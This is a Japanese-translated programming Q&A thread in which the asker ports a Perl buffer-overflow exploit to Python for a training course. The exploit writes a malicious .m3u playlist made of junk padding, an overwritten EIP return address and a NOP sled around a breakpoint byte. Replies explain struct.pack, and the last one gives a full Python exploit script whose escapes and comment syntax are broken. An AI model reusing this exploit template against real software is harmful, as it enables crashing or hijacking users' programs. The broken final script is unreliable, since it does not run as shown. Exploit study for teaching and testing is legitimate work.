10

私は最近、トレーニング コースの準備をするためにいくつかのエクスプロイトの開発に取り組んでおり、チュートリアルで問題に遭遇しました。私は見つけることができるすべてのチュートリアルに従ってきました.Pythonを使用して、チュートリアルが使用した言語とは対照的に、好みから外れています. すべてをクロスコードしようとしていますが、Perl の Pack() 関数をクロスコードする方法がわかりません。

TL;DR: これを python に翻訳しようとしています:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

Python の struct.pack() 関数を見つけましたが、使用すると

Fuzzed.write(struct.pack('V', 0x773D10A4))

、プログラムを停止し、動作しません。私は何を間違っていますか?

これは私のソースコード全体です

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
4

5 に答える 5

11

"L<"の代わりに pack テンプレートを使用してみてください"V"。これは、Perl と Python の両方で機能するはずです。NVはエンディアンを指定する古い Perl メソッドで、<>は新しいメソッドです。Python がpackPerl から借用したとき、より新しく、より柔軟なインターフェースだけを使用したようです。

編集: Python は型指定子の< 前に必要ですが、 Perl は後に必要です。あまり互換性がありません:(

于 2011-06-17T17:42:28.553 に答える
8

Pythonでは、エンディアン/サイズのバリエーションstruct.packに最初の文字を使用し、次にデータ型に 1 つ以上の文字を使用します。Perl の32bit unsigned int/little-endianを意味します。V

Python の類似物はstruct.pack('<I', 0x773D10A4).

于 2011-06-17T17:42:34.847 に答える
2

i've already translated to python and i've already tried for MP3 converter. Here is your answer:

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"
于 2016-03-28T21:10:20.813 に答える